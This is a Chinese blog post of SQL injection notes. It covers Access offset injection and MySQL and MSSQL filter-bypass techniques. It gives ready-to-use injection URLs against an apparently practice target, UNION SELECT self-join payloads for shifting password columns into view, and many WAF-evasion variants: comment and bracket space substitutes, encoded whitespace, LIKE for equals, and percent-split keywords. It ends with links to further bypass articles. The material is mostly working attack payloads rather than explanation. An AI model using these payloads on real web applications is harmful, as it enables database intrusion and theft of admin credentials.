access偏移注入及mssql,mysql注入技巧

一:例子是:
【1】http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886
首先猜表名:
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886 and exists(select * from 表名)
通过暴力猜解得到表名:
admin
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886 and exists(select * from admin)
如果猜对了,页面返回正常,如果猜错了,页面会爆:
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'admin1'。 确定它是否存在,以及它的名称的拼写是否正确。
/web03/ca55022fa7ae5c29d179041883fe1556/index.asp,行 5
【2】
猜解字段:
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886 and exists(select 字段 from admin)

同样的道理,我猜解了id,fname,realname这三个字段:

【3】偏移密码字段:

这里参考:
http://www.20cn.net/club/security/newbie/1238259361.html

我觉得讲的不错:
就原文黏贴进来:


我举动力文章的例子
他的是28个字段
加入admin表5个字段
那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* 就是5个字段?
这样来爆admin里边的所有表明
但注意 * 确是代表了所有admin表的字段
如果正好比如username在可显示位置
他就会显示在页面上
我需要爆他的字段呢·
技术都有局限性 这个方法需要知道表名和一个字段名id
不需要其他字段
比如什么password username
你要问他如果不在可显示位置么
通常不知道的是表名 表段名 可以通过查找后台登陆找到
这个就要看自己的了
大家看看这个语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接
这样from 后面的表就会成为字段数加倍的表
前面18+2*5 = 28 个字段 就是合法的
*代表的字段就会拓宽 加大username password在可显示位置的几率
如果不在怎么办? 那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的
这个地方很关键
他为什么会是合法的语句
这个地方是技术核心 必须理解
前边是 30 后边是 28 怎么可能相等
因为a.id 和 b.id在*里是有的
那么计算机自动去掉重复的 保持集合里元素的唯一性

这样一来虽然查询效果一样
但是*里的字段排列顺序却被打乱了!
先后两次打乱 很有可能让username password偏移到可显示的位置
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)
我用:
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id)
偏移出了密码



二:mysql注入技巧
【1】先说说那个空格,可以用括号代替空格,这样做就好,

select(User)from(user);
【2】用多行注释代替空格:
select/**/User/**/from/**/user;

【3】在and/or 后面 数字(字符)前面 任意混合 + - ~ !
select User from user where User='root'or--+~~2=--~~!!!2
注意一点引号后面(')后面可以不用空格直接接and/or但是数字不行,如果要想之间接接and/or则用小数
例子:
select User from user where User='root'or--+~~2=--~~!!!2.0and~~~--ascii(substring(@@version,1,1));

【4】利用数字特性干掉空格:
select uid from pre_common_member where uid=1.0union select 1;

1.0这个小数后面可以直接接and/or/union

select uid from pre_common_member where uid=1e0union select 1;

1e0这个是科学计数法,后面可以直接接and/or/union

select uid from pre_common_member where uid=.1union select 1;

.1这个依然是小数

【3】中:select User from user where User='root'or--+~~2=--~~!!!2.0and~~~--ascii(substring(@@version,1,1));

这个的有可以变形为:
select User from user where User='root'or--+~~2=--~~!!!2e0and~~~--ascii(substring(@@version,1,1));


【5】在url中可以利用%20, %09, %0a, %0b, %0c, %0d, %a0 代替空格
例如:
这种注入:
http://218.245.4.113:8080/web04/60c2a013a6decbe0c5c2883080e6b332/index.php?id=1.1or ascii(substring((select version()),1,1))>0

可以用这个来代替:


http://218.245.4.113:8080/web04/60c2a013a6decbe0c5c2883080e6b332/index.php?id=1.1or%a0ascii(substring((select%a0version()),1,1))>0


【6】如果=号被过滤:
则用like代替:
例子:
原来:
select uid from pre_common_member where uid=1 ;
代替后:

select uid from pre_common_member where uid like 1 ;

【7】如果过滤了and/or则:
用 && 或者 || 代替

原来:
select uid from pre_common_member where uid like 1 and 1=1;

代替后:
select uid from pre_common_member where uid like 1 && 1=1;

注意在实际注入的时候要把&&编码为:%26%26
||编码为:%7C%7C

mysql暂时遇到这么多
可以参考这个帖子:
http://drops.wooyun.org/tips/7299

http://drops.wooyun.org/tips/123

【8】:利用\N 绕过一些防火墙

select username,\Nfrom pre_ucenter_admins;
其中\N 是换行的符号

http://www.wooyun.org/bugs/wooyun-2010-0121291

由于没有遇到过,所以也不敢多说,放个大神的链接,看看


----------------------分割线----------------------------------------

++++++++下面是有用的方法+++++++++++++++++++++
sql绕过,编码讲解
http://drops.wooyun.org/tips/7299 MySQL注入技巧

http://www.wooyun.org/bugs/wooyun-2010-0121291 绕过安全狗
http://www.wooyun.org/bugs/wooyun-2014-089426



http://drops.wooyun.org/tips/4322 False SQL Injection and Advanced Blind SQL Injection


http://drops.wooyun.org/tips/968 深入了解SQL注入绕过waf和过滤机制


http://drops.wooyun.org/tips/123 MySql注入科普

http://drops.wooyun.org/tips/5254 SQLMAP进阶使用

http://www.wooyun.org/bugs/wooyun-2010-028321 另类order by 注入

http://zone.wooyun.org/content/16772 通用的关于sql注入的绕过 (重要)

site:www.wooyun.org mysql的特性

http://www.wooyun.org/bugs/wooyun-2010-0130885 其他盲注函数

http://www.wooyun.org/bugs/wooyun-2010-0126382 fuzz 测试

http://drops.wooyun.org/papers/353几种通用防注入程序绕过方法




三:mssql注入技巧:
【1】在关键字之间加任意多的%
比如:
select column from table;
可以变成:
S%E%L%E%C%T%01column%02FROM%03table;
可以很变态的变成:
S%%%E%%%L%E%%%C%%%T%01column%02F%%R%%O%%M%03table;


附: 关键词之间的百分比符号只在ASP(X)的Web应用程序中有效。

【2】用:”()[]避免空格

例子:
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];
【3】用多行注释来代替空格:
select/**/column/**/from/**/table;
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值